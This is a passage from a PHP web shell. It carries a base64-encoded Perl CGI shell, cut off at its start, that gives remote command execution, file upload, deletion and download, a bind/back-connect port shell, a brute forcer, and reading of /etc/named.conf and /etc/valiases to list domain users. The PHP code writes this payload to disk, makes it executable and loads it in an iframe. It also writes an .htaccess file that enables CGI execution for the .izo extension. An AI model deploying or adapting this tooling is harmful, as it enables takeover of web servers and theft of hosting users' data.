gkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
